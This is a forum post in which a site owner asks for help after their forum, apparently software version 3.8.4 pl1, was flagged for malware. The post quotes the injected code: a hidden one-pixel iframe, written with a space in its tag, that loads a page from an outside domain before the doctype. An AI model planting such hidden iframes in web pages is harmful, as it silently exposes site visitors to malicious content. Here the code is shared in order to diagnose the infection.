Getting framed malware issue for my forum. Frame inserted before doctype.
 

Hi,

Today i woke up and checked my forums to the horrow of a malware warning.

Upon checking the source i noticed this frame was being opened before everything else:

Code:
<i frame name="77" width="1" height="1" scrolling="no" frameborder="no" marginwidth="0" marginheight="0" src="http://www.penek.co.cc/s.php"></i frame>
I've checked htaccess files, templates and index etc. and cannot for the life of me find out where it is being inserted from.

Has anyone experienced this? Do you know how to fix?

I've informed my hosts but the security must lie in the software somewhere. I am using 3.8.4. pl1 (didnt realise any new revisions were up.)

can anybody please help me?